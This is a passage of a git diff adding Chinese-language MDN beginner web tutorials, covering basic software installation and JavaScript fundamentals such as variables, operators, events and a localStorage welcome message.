+<p>一个网站包含很多文件:文本内容、代码、样式表、媒体内容等。当你建立一个网站,你需要给这些文件安排一个合理的结构,并确保它们能够相互联系。<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>这块内容将向你解释如何给你的网站建立一个合理的文件结构以及一些你应该要注意的问题。</p> + +<h3 id="HTML_基础"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></h3> + +<p>超文本标记语言 ( HTML ) 是用来构建你的网页内容并将其语义化的代码。举例来说, 我的内容是一些段落还是带点的列表?我的网页上有插入图片吗?有数据表格吗?<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a>将在你能承受的范围内提供足够的信息让你熟悉 HTML。</p> + +<h3 id="CSS_基础"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></h3> + +<p>层叠样式表 (CSS) 是用来添加样式到你网站的代码。举例来说,你想让文字是黑色还是红色的?在屏幕的何处展示内容?用什么背景图像和颜色来装饰你的网站?<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a>带你完成你需要做的事。</p> + +<h3 id="JavaScript_基础"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Javascript_basics">JavaScript 基础</a></h3> + +<p>JavaScript 是一种被用来添加交互功能到你的网站的编程语言。比如游戏,或者当按下按钮后会发生的事情,或者将数据输入表格,动态样式效果,动画等等。<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a>将让你了解这门令人激动的语言能做什么,以及如何开始。</p> + +<h3 id="发布你的网站"><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布你的网站</a></h3> + +<p>当你完成了代码并整理好了构建网站的文件的时候,你需要将它们发布到互联网上以便人们可以找到它。<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布你的网站</a>描述了如何最轻松地发布你的简易代码。</p> + +<h3 id="万维网是怎么工作的"><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/%E7%BD%91%E7%BB%9C%E6%98%AF%E5%A6%82%E4%BD%95%E5%B7%A5%E4%BD%9C%E7%9A%84">万维网是怎么工作的?</a></h3> + +<p>当你访问你喜爱的网站时,你可能不知道在这背后有很多复杂的事情正在发生。<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/%E7%BD%91%E7%BB%9C%E6%98%AF%E5%A6%82%E4%BD%95%E5%B7%A5%E4%BD%9C%E7%9A%84">万维网是怎么工作的</a>概述了当你通过你的电脑查看一个网页时发生了什么。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified</a>: 一个由 <a class="external external-icon" href="https://twitter.com/JeremiePat" rel="noopener">Jérémie Patonnier</a> 创作的面向 Web 开发的完全新手的系列视频,讲述了 Web 基础。</li> + <li><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">The web and web standards</a>:这篇文章提供了一些关于Web的有用的背景知识——它是如何产生的,什么是Web标准技术,它们是如何协同工作的,为什么“Web开发人员”是一个很好的职业选择,以及您将在本课程中学习哪些最佳实践。</li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/zh-cn/learn/getting_started_with_the_web/installing_basic_software/index.html new file mode 100644 index 0000000000..de8f9956f5 --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/installing_basic_software/index.html @@ -0,0 +1,78 @@ +--- +title: 安装基础软件 +slug: Learn/Getting_started_with_the_web/Installing_basic_software +tags: + - 初学者 + - 安装 + - 工具 + - 文本编辑器 + - 浏览器 + - 设置 +translation_of: Learn/Getting_started_with_the_web/Installing_basic_software +--- +<p>{{LearnSidebar}}</p> + +<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>本小节将介绍常用 web 开发工具的种类和安装方法。</p> +</div> + +<h2 id="专业人员使用哪些工具?">专业人员使用哪些工具?</h2> + +<ul> + <li><strong>计算机,</strong>虽然显而易见,但是还有些人会通过手机或者公共计算机来阅读这篇文章。严肃的 Web 开发,最好还是使用运行 Windows,Mac,或者 Linux 系统的台式机或笔记本电脑。</li> + <li><strong>文本编辑器</strong>,用来编写代码。可以是纯文本编辑器(比如 <a href="https://code.visualstudio.com/">Visual Studio Code</a>、<a href="https://www.sublimetext.com/">Sublime Text</a>、<a href="https://atom.io/">Atom</a>、<a href="http://brackets.io/">Brackets</a>、<a href="https://www.gnu.org/software/emacs/">GNU Emacs</a> 或 <a href="https://www.vim.org/">VIM</a>);也可以是混合编辑器(比如 <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a> 或 <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>)。Office 文档编辑器并不适用,因为它们依赖的隐藏元素会干扰浏览器渲染机制。</li> + <li><strong>Web 浏览器</strong>,用来测试代码。如今使用最多的浏览器有 <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>,<a href="https://www.google.com/chrome/browser/">Chrome</a>,<a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>,<a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 和 <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>。另外,还需测试网站在移动设备和老式浏览器(如 IE 8-10)上的表现。还有 <a href="https://lynx.browser.org/">Lynx</a>, 一个基于文本的终端 Web 浏览器,可用于测试视力障碍用户的浏览体验。</li> + <li><strong>图像编辑器</strong>,像 <a href="http://www.gimp.org/">GIMP</a>、<a href="http://www.getpaint.net/">Paint.NET</a>、<a href="https://www.adobe.com/products/photoshop.html">Photoshop</a> 或者 <a href="https://www.adobe.com/products/xd.html">XD</a>,用来编辑网页中的图形图像。</li> + <li><strong>版本控制系统</strong>,用来管理服务器上文件,支持项目团队协作,共享代码资源,以及避免编辑冲突。当今最流行的版本控制工具是 <a href="http://git-scm.com/">Git</a>,同时 <a href="https://github.com/">GitHub</a> 以及 <a href="https://gitlab.com/">GitLab</a> 等基于 Git 的代码托管服务网站也非常流行。</li> + <li><strong>FTP 工具</strong>,老式 Web 托管账户用来管理服务器上文件(正在被 <a href="http://git-scm.com/">Git</a> 迅速取代)。有很多 (S)FTP 工具软件,比如 <a href="https://cyberduck.io/">Cyberduck</a>、<a href="http://fetchsoftworks.com/">Fetch</a> 和 <a href="https://filezilla-project.org/">FileZilla</a>。</li> + <li><strong>自动化构建工具,</strong> 用来自动完成压缩代码和运行测试等重复性任务,比如 <a href="http://gruntjs.com/">Grunt</a> 或 <a href="http://gulpjs.com/">Gulp</a>。</li> + <li>模板,库,框架等等,可提高效率的工具。</li> + <li>还有很多!</li> +</ul> + +<h2 id="哪些是当务之急?">哪些是当务之急?</h2> + +<p>上面的列表太冗长了,不过幸运的是,初学 Web 开发并不需要面面俱到。本文将列出一个尽可能短的开发工具清单——一款文本编辑器和几款现代 Web 浏览器。</p> + +<h3 id="安装文本编辑器">安装文本编辑器</h3> + +<p>大多系统都会默认配备一款基本的文本编辑器。比如 Windows 的 <a href="https://en.wikipedia.org/wiki/Notepad_%28software%29">记事本</a>, macOS 的 <a href="https://en.wikipedia.org/wiki/TextEdit">TextEdit</a>,Ubuntu 的 <a href="https://en.wikipedia.org/wiki/Gedit">gedit</a>,Linux 发行版各不相同。</p> + +<p>Web 开发中可以使用比记事本和 TextEdit 更好的工具。 推荐从 <a href="https://code.visualstudio.com/">Visual Studio Code</a> 开始,免费且提供实时预览和代码提示。</p> + +<h3 id="安装现代_Web_浏览器">安装现代 Web 浏览器</h3> + +<p>然后,针对不同操作系统,安装几款用来测试的桌面 Web 浏览器:</p> + +<ul> + <li>Linux: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="http://www.opera.com/">Opera</a>、<a href="https://brave.com/">Brave</a>。</li> + <li>Windows: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="http://www.opera.com/">Opera</a>、<a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a>(Windows 7 及以上版本可以安装 Internet Explorer 11)、<a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>(Windows 10 的默认浏览器,采用 Chromium 内核)、<a href="https://brave.com/">Brave</a>。</li> + <li>macOS: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="http://www.opera.com/">Opera</a>、<a href="https://www.apple.com/safari/">Safari</a>(macOS 和 iOS 的默认浏览器)、<a href="https://brave.com/">Brave</a>。</li> +</ul> + +<p>要至少准备两款或以上的浏览器用于测试。</p> + +<div class="blockIndicator note"> +<p>Internet Explorer 对一些现代 Web 功能兼容性不佳,运行现代工程可能会失败。</p> +</div> + +<h3 id="安装本地_Web_服务器">安装本地 Web 服务器</h3> + +<p>一些示例需要通过 Web 服务器运行才能正常工作。阅读 <a href="/zh-CN/docs/Learn/Common_questions/set_up_a_local_testing_server">如何设置本地测试服务器?</a>了解更多。</p> + +<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 工作机制</a></li> +</ul> diff --git a/files/zh-cn/learn/getting_started_with_the_web/javascript_basics/index.html b/files/zh-cn/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..378913f393 --- /dev/null +++ b/files/zh-cn/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,437 @@ +--- +title: JavaScript基础 +slug: Learn/Getting_started_with_the_web/JavaScript_basics +tags: + - JavaScript + - Web + - 初学者 + - 学习 + - 脚本 +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> + +<div class="summary"> +<p>JavaScript 是一门编程语言,可为网站添加交互功能(例如:游戏、动态样式、动画以及在按下按钮或收到表单数据时做出的响应等)。本文介绍了 JavaScript 的精彩之处和主要用途。</p> +</div> + +<h2 id="JavaScript_到底是什么?">JavaScript 到底是什么?</h2> + +<p>{{Glossary("JavaScript")}}(缩写:JS)是一门完备的 {{Glossary("Dynamic programming language", "动态编程语言")}}。当应用于 {{Glossary("HTML")}} 文档时,可为网站提供动态交互特性。由<span class="fn">布兰登·艾克(</span> Brendan Eich,Mozilla 项目、Mozilla 基金会和 Mozilla 公司的联合创始人<span class="fn">)发明。</span></p> + +<p>JavaScript 的应用场合极其广泛,简单到幻灯片、照片库、浮动布局和响应按钮点击,复杂到游戏、2D/3D 动画、大型数据库驱动程序等等。</p> + +<p>JavaScript 相当简洁,却非常灵活。开发者们基于 JavaScript 核心编写了大量实用工具,可以使 开发工作事半功倍。其中包括:</p> + +<ul> + <li>浏览器应用程序接口({{Glossary("API","API")}})—— 浏览器内置的 API 提供了丰富的功能,比如:动态创建 HTML 和设置 CSS 样式、从用户的摄像头采集处理视频流、生成3D 图像与音频样本等等。</li> + <li>第三方 API —— 让开发者可以在自己的站点中整合其它内容提供者(Twitter、Facebook 等)提供的功能。</li> + <li>第三方框架和库 —— 用来快速构建网站和应用。</li> +</ul> + +<p>本节是一篇 JavaScript 简介,因此这个阶段不会对 JavaScript 语言和上述工具做过多的介绍。之后可以到 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript">JavaScript 学习区</a> 和 MDN 的其它地方学习更多细节。</p> + +<p>下面对语言核心做一个不完整介绍,期间还可以接触到一些浏览器 API 特性。</p> + +<h2 id="“Hello_World!”示例">“Hello World!”示例</h2> + +<p>读到这里你一定很激动,诚然 —— JavaScript 是最振奋人心的 Web 技术之一,而且在娴熟驾驭之后,你的网站在功能和创新力上将达到一个新的维度。</p> + +<p>然而,JavaScript 比 HTML 和 CSS 学习起来更加复杂一点,所以必须一步一个脚印地学习。首先,来看看如何在页面中添加一些基本的 JavaScript 脚本来建造一个 “Hello world!” 示例(<a href="https://zh.wikipedia.org/wiki/Hello_World">一切始于 Hello World</a>)。</p> + +<div class="warning"> +<p><strong>重要:</strong>如果你没有完成之前的课程实践,可下载 <a href="https://github.com/roy-tian/learning-area/raw/master/extras/getting-started-web/beginner-html-site-styled.zip">上一章节示例的压缩包</a> 并在本地解压作出发点。</p> +</div> + +<ol> + <li>首先,打开你的测试站点,创建一个名为 <code>scripts</code> 的文件夹。然后在其中创建一个名为 main.js 的文件。</li> + <li>下一步,在 <code>index.html</code> 文件<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"></body></span></font> 标签前的新行添加以下代码。 + <pre class="brush: html notranslate"><script src="scripts/main.js" defer></script></pre> + </li> + <li>与 CSS 的 {{htmlelement("link")}} 元素类似,它将 JavaScript 引入页面以作用于 HTML(以及 CSS 等页面上所有内容):</li> + <li>现在将以下代码添加到 <code>main.js</code> 文件中: + <pre class="brush: js notranslate">let myHeading = document.querySelector('h1'); +myHeading.textContent = 'Hello world!';</pre> + </li> + <li>最后,保存 HTML 和 JavaScript 文件,用浏览器打开 <code>index.html</code>。可以看到如下内容:<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li> +</ol> + +<div class="note"><strong>注:</strong>我们将 {{htmlelement("script")}} 放在HTML文件的底部附近的原因是浏览器会按照代码在文件中的顺序加载 HTML。如果先加载的 JavaScript 期望修改其下方的 HTML,那么它可能由于 HTML 尚未被加载而失效。因此,将 JavaScript 代码放在 HTML页面的底部附近通常是最好的策略。</div> + +<h3 id="发生了什么?">发生了什么?</h3> + +<p>JavaScript 把页面的标题改成了 “Hello world!” 。首先用 <code>{{domxref("Document.querySelector", "querySelector()")}}</code> 函数获取标题的引用,并把它储存在 <code>myHeading</code> 变量中。这与 CSS 选择器的用法非常相像:若要对某个元素进行操作,首先得选择它。</p> + +<p>之后,把 <code>myHeading</code> 变量的属性 {{domxref("Node.textContent", "textContent")}} (标题内容)修改为 “Hello world!” 。</p> + +<div class="note"> +<p><strong>注:</strong>上面用到的两个函数都来自 <a href="/zh-CN/docs/Web/API/Document_Object_Model">文档对象模型 (DOM) API</a>, 均用于控制文档。</p> +</div> + +<h2 id="JavaScript_快速入门">JavaScript 快速入门</h2> + +<p>我们来学习一些 JavaScript 的核心特性,从而更好地理解它的运行机制。学习这些知识很有意义,因为这些原理普遍适用于所有编程语言,掌握好它们,可以做到融会贯通。</p> + +<div class="warning"> +<p><strong>重要:</strong>学习本节时,请尝试将示例代码输入到 JavaScript 控制台里看看会发生什么。 JavaScript 控制台的更多信息请查看 <a href="/zh-CN/Learn/Discover_browser_developer_tools">浏览器开发者工具</a>。</p> +</div> + +<h3 id="变量(Variable)">变量(Variable)</h3> + +<p>{{Glossary("Variable", "变量")}} 是存储值的容器。要声明一个变量,先输入关键字 <code>let</code> 或 <code>var</code>,然后输入合适的名称:</p> + +<pre class="brush: js notranslate">let myVariable;</pre> + +<div class="note"> +<p><strong>注:</strong>行末的分号表示当前语句结束,不过只有在单行内需要分割多条语句时,这个分号才是必须的。然而,一些人认为每条语句末尾加分号是一种好的风格。分号使用规则的更多细节请参阅 <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">JavaScript 分号使用指南</a>(英文页面)。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>几乎任何内容都可以作为变量名,但还是有一些限制(请参阅 <a href="/zh-CN/docs/Web/JavaScript/Guide/Grammar_and_Types#变量">变量命名规则</a>)。如果你不确定,还可以 <a href="https://mothereff.in/js-variables">验证变量名</a> 是否有效。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>JavaScript 对大小写敏感,<code>myVariable</code> 和 <code>myvariable</code> 是不同的。如果代码出现问题了,先检查一下大小写!</p> +</div> + +<div class="note"> +<p><strong>注:</strong>想要了解更多关于 <code>var</code> 和 <code>let</code> 的不同点,可以参阅 <a href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables#var_与_let_的区别">var 与 let 的区别</a>。</p> +</div> + +<p>变量定义后可以进行赋值:</p> + +<pre class="brush: js notranslate">myVariable = '李雷'; +</pre> + +<p>也可以将定义、赋值操作写在同一行:</p> + +<pre class="brush: js notranslate">let myVariable = '李雷';</pre> + +<p>可以直接通过变量名取得变量的值:</p> + +<pre class="brush: js notranslate">myVariable;</pre> + +<p>变量在赋值后是可以更改的:</p> + +<pre class="notranslate">let myVariable = '李雷'; +myVariable = '韩梅梅';</pre> + +<p>注意变量可以有不同的 <a href="/zh-CN/docs/Web/JavaScript/Data_structures">数据类型</a> :</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row">变量</th> + <th scope="col">解释</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">{{Glossary("String")}}</th> + <td>字符串(一串文本):字符串的值必须用引号(单双均可,必须成对)扩起来。</td> + <td><code>let myVariable = '李雷';</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Number")}}</th> + <td>数字:无需引号。</td> + <td><code>let myVariable = 10;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Boolean")}}</th> + <td>布尔值(真 / 假): <code>true</code>/<code>false</code> 是 JS 里的特殊关键字,无需引号。</td> + <td><code>let myVariable = true;</code></td> + </tr> + <tr> + <th scope="row">{{Glossary("Array")}}</th> + <td>数组:用于在单一引用中存储多个值的结构。</td> + <td><code>let myVariable = [1, '李雷', '韩梅梅', 10];</code><br> + 元素引用方法:<code>myVariable[0]</code>, <code>myVariable[1]</code> ……</td> + </tr> + <tr> + <th scope="row">{{Glossary("Object")}}</th> + <td>对象:JavaScript 里一切皆对象,一切皆可储存在变量里。这一点要牢记于心。</td> + <td><code>let myVariable = document.querySelector('h1');</code><br> + 以及上面所有示例都是对象。</td> + </tr> + </tbody> +</table> + +<p>那么变量有什么用呢?我们说,编程时它们无所不在。如果值无法改变,那么就无法做任何动态的工作,比如发送个性化的问候,或是改变在图片库当前展示的图片。</p> + +<h3 id="注释">注释</h3> + +<p>类似于 CSS,JavaScript 中可以添加注释。</p> + +<pre class="brush: js notranslate">/* +这里的所有内容 +都是注释。 +*/</pre> + +<p>如果注释只有一行,可以更简单地将注释放在两个斜杠之后,就像这样:</p> + +<pre class="brush: js notranslate">// 这是一条注释。 +</pre> + +<h3 id="运算符">运算符</h3> + +<p>{{Glossary("Operator","运算符")}} 是一类数学符号,可以根据两个值(或变量)产生结果。以下表格中介绍了一些最简单的运算符,可以在浏览器控制台里尝试一下后面的示例。</p> + +<div class="blockIndicator note"> +<p><strong>译注:</strong>这里说“根据<strong>两个</strong>值(或变量)产生结果”是不严谨的,计算两个变量的运算符称为“二元运算符”,还有一元运算符和三元运算符,下表中的“取非”就是一元运算符。</p> +</div> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row">运算符</th> + <th scope="col">解释</th> + <th scope="col">符号</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">加</th> + <td>将两个数字相加,或拼接两个字符串。</td> + <td><code>+</code></td> + <td><code>6 + 9;<br> + "Hello " + "world!";</code></td> + </tr> + <tr> + <th scope="row">减、乘、除</th> + <td>这些运算符操作与基础算术一致。只是乘法写作星号,除法写作斜杠。</td> + <td><code>-</code>, <code>*</code>, <code>/</code></td> + <td><code>9 - 3;<br> + 8 * 2; //乘法在JS中是一个星号<br> + 9 / 3;</code></td> + </tr> + <tr> + <th scope="row">赋值运算符</th> + <td>为变量赋值(你之前已经见过这个符号了)</td> + <td><code>=</code></td> + <td><code>let myVariable = '李雷';</code></td> + </tr> + <tr> + <th scope="row">等于</th> + <td>测试两个值是否相等,并返回一个 <code>true</code>/<code>false</code> (布尔)值。</td> + <td><code>===</code></td> + <td><code>let myVariable = 3;<br> + myVariable === 4; // false</code></td> + </tr> + <tr> + <th scope="row">不等于</th> + <td>和等于运算符相反,测试两个值是否不相等,并返回一个 <code>true</code>/<code>false</code> (布尔)值。</td> + <td><code>!==</code></td> + <td><code><code>let myVariable = 3;</code><br> + myVariable !== 3; // false</code></td> + </tr> + <tr> + <th scope="row">取非</th> + <td>返回逻辑相反的值,比如当前值为真,则返回 <code>false</code>。</td> + <td><code>!</code></td> + <td>原式为真,但经取非后值为 <code>false</code>:<br> + <code>let myVariable = 3;<br> + !(myVariable === 3); // false</code></td> + </tr> + </tbody> +</table> + +<p>运算符种类远不止这些,不过目前上表已经够用了。完整列表请参阅 <a href="/zh-CN/docs/Web/JavaScript/Reference/Operators">表达式和运算符</a>。</p> + +<div class="note"> +<p><strong>注:</strong>不同类型数据之间的计算可能出现奇怪的结果,因此必须正确引用变量,才能得出预期结果。比如在控制台输入 <code>"35" + "25"</code>,为什么不能得到 <code>60</code>?因为引号将数字转换成了字符串,所以结果是连接两个字符串而不是把两个数字相加。输入 <code>35 + 25</code> 才能得到正确结果。</p> +</div> + +<h3 id="条件语句">条件语句</h3> + +<p>条件语句是一种代码结构,用来测试表达式的真假,并根据测试结果运行不同的代码。一个常用的条件语句是 <code>if ... else</code>。下面是一个示例:</p> + +<pre class="brush: js notranslate">let iceCream = 'chocolate'; +if (iceCream === 'chocolate') { + alert('我最喜欢巧克力冰激淋了。'); +} else { + alert('但是巧克力才是我的最爱呀……'); +}</pre> + +<p><code>if ( ... )</code> 中的表达式进行测试,用(上文所提到的)等于运算符来比较变量 <code>iceCream</code> 与字符串 <code>'chocolate'</code> 是否相等。 如果返回 <code>true</code>,则运行第一个代码块;如果返回 <code>false</code>,则跳过第一块直接运行 <code>else</code> 之后的第二个代码块。</p> + +<h3 id="函数(Function)">函数(Function)</h3> + +<p>{{Glossary("Function", "函数")}} 用来封装可复用的功能。如果没有函数,一段特定的操作过程用几次就要重复写几次,而使用函数则只需写下函数名和一些简短的信息。之前已经涉及过一些函数,比如:</p> + +<ol> + <li> + <pre class="brush: js notranslate">let myVariable = document.querySelector('h1');</pre> + </li> + <li> + <pre class="brush: js notranslate">alert('hello!');</pre> + </li> +</ol> + +<p><code>document.querySelector</code> 和 <code>alert</code> 是浏览器内置的函数,随时可用。</p> + +<p>如果代码中有一个类似变量名后加小括号 <code>()</code> 的东西,很可能就是一个函数。函数通常包括{{Glossary("Argument", "参数")}},参数中保存着一些必要的数据。它们位于括号内部,多个参数之间用逗号分开。</p> + +<p>比如, <code>alert()</code> 函数在浏览器窗口内弹出一个警告框,还应为其提供一个字符串参数,以告诉它警告框里要显示的内容。</p> + +<p>好消息是:人人都能定义自己的函数。下面的示例是为两个参数进行乘法运算的函数:</p> + +<pre class="brush: js notranslate">function multiply(num1, num2) { + let result = num1 * num2; + return result; +}</pre> + +<p>尝试在控制台运行这个函数,不妨多试几组参数,比如:</p> + +<pre class="brush: js notranslate">multiply(4, 7); +multiply(20, 20); +multiply(0.5, 3);</pre> + +<div class="note"> +<p><strong>注:</strong><code><a href="/zh-CN/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 语句告诉浏览器当前函数返回 <code>result</code> 变量。这是一点很有必要,因为函数内定义的变量只能在函数内使用。这叫做变量的 {{Glossary("Scope", "作用域")}}。(详见 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">变量作用域</a>。)</p> +</div> + +<h3 id="事件">事件</h3> + +<p>事件能为网页添加真实的交互能力。它可以捕捉浏览器操作并运行一些代码做为响应。最简单的事件是 <a href="/zh-CN/docs/Web/Events/click">点击事件</a>,鼠标的点击操作会触发该事件。 可尝试将下面的代码输入到控制台,然后点击页面的任意位置:</p> + +<pre class="brush: js notranslate">document.querySelector('html').onclick = function() { + alert('别戳我,我怕疼。'); +}</pre> + +<p>将事件与元素绑定有许多方法。在这里选用了 {{htmlelement("html")}} 元素,把一个匿名函数(就是没有命名的函数,这里的匿名函数包含单击鼠标时要运行的代码)赋值给了 <code>html</code> 的 <code><a href="/zh-CN/docs/Web/API/GlobalEventHandlers.onclick">onclick</a></code> 属性。</p> + +<p>请注意:</p> + +<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre> + +<p>等价于</p> + +<pre class="brush: js notranslate">let myHTML = document.querySelector('html'); +myHTML.onclick = function() {};</pre> + +<p>只是前者更简洁。</p> + +<h2 id="完善示例网页">完善示例网页</h2> + +<p>现在你已经具备了一些 JavaScript 基础,下面来为示例网页添加一些更酷的特性。</p> + +<h3 id="添加一个图像切换器">添加一个图像切换器</h3> + +<p>这里将用新的 DOM API 为网页添加另一张图片,并用 JavaScript 使图片在点击时进行切换。</p> + +<ol> + <li>首先,找到另一张你想要在你的页面上展示的图片,且尺寸与第一张图片尽可能相同。</li> + <li>将这张图片储存在你的<code>images</code>目录下。</li> + <li>将图片重命名为'firefox2.png'(去掉引号)。</li> + <li>打开 <code>main.js</code> 文件,输入下面的 JavaScript 代码 ( 请删除刚才的 "hello world" 脚本): + <pre class="brush: js notranslate">let myImage = document.querySelector('img'); + +myImage.onclick = function() { + let mySrc = myImage.getAttribute('src'); + if(mySrc === 'images/firefox-icon.png') { + myImage.setAttribute('src', 'images/firefox2.png'); + } else { + myImage.setAttribute('src', 'images/firefox-icon.png'); + } +}</pre> + </li> + <li>保存所有文件并用浏览器打开 <code>index.html</code> 。点击图片可以发现它能够切换了!</li> +</ol> + +<p>这里首先把 {{htmlelement("img")}} 元素的引用存放在 <code>myImage</code> 变量里。然后将这个变量的 <code>onclick</code> 事件与一个匿名函数绑定。每次点击图片时:</p> + +<ol> + <li>获取这张图片的 <code>src</code> 属性值。</li> + <li>用一个条件句来判断 <code>src</code> 的值是否等于原始图像的路径: + <ol> + <li>如果是,则将 <code>src</code> 的值改为第二张图片的路径,并在 {{htmlelement("img")}} 内加载该图片。</li> + <li>如果不是(意味着它已经修改过), 则把 <code>src</code> 的值重新设置为原始图片的路径,即原始状态。</li> + </ol> + </li> +</ol> + +<h3 id="添加个性化欢迎信息">添加个性化欢迎信息</h3> + +<p>下面来添加另一段代码,在用户初次进入站点时将网页的标题改成一段个性化欢迎信息(即在标题中添加用户的名字)。名字信息会由 <a href="/zh-CN/docs/Web/API/Web_Storage_API">Web Storage API</a> 保存下来,即使用户关闭页面之后再重新打开,仍可得到之前的信息。还会添加一个选项,可以根据需要改变用户名字以更新欢迎信息。</p> + +<ol> + <li>打开 <code>index.html</code>, 在 {{htmlelement("script")}} 标签<u><strong>前</strong></u>添加以下代码,将在页面底部显示一个“切换用户”字样的按钮: + + <pre class="brush: html notranslate"><button>切换用户</button></pre> + </li> + <li>将以下 JavaScript 代码原封不动添加到 <code>main.js</code> 文件底部,将获取新按钮和标题的引用,并保存至变量中: + <pre class="brush: js notranslate">let myButton = document.querySelector('button'); +let myHeading = document.querySelector('h1');</pre> + </li> + <li>然后添加以下函数来设置个性化欢迎信息。(函数暂时不起作用,稍后修复) + <pre class="brush: html notranslate">function setUserName() { + let myName = prompt('请输入你的名字。'); + localStorage.setItem('name', myName); + myHeading.textContent = 'Mozilla 酷毙了,' + myName; +}</pre> + 该函数首先调用了 <a href="/zh-CN/docs/Web/API/Window.prompt"><code>prompt()</code></a> 函数, 与 <code>alert()</code> 类似会弹出一个对话框。但是这里需要用户输入数据,并在确定后将数据存储在 <code>myName</code> 变量里。接下来将调用 <code><a href="/zh-CN/docs/Web/API/Window/localStorage">localStorage</a></code> API ,它可以将数据存储在浏览器中供后续获取。这里用 <code>localStorage</code> 的 <code>setItem()</code> 函数来创建一个<code>'name'</code> 数据项,并把 <code>myName</code> 变量复制给它。最后将 <code>textContent</code> 属性设置为一个欢迎字符串加上这个新设置的名字。</li> + <li>接下来,添加以下的 <code>if ... else</code> 块。我们可以称之为初始化代码,因为它在页面初次读取时进行构造工作: + <pre class="brush: html notranslate">if(!localStorage.getItem('name')) { + setUserName(); +} else { + let storedName = localStorage.getItem('name'); + myHeading.textContent = 'Mozilla 酷毙了,' + storedName; +}</pre> + 这里首次使用了取非运算符(逻辑非,用 <code>!</code> 表示)来检测 <code>'name'</code> 数据是否存在。若不存在,调用 <code>setUserName()</code> 创建。若存在(即用户上次访问时设置过),调用 <code>getItem()</code> 获取保存的名字,像上文的 <code>setUserName()</code> 那样设置 <code>textContent</code>。</li> + <li>最后,为按钮设置 onclick 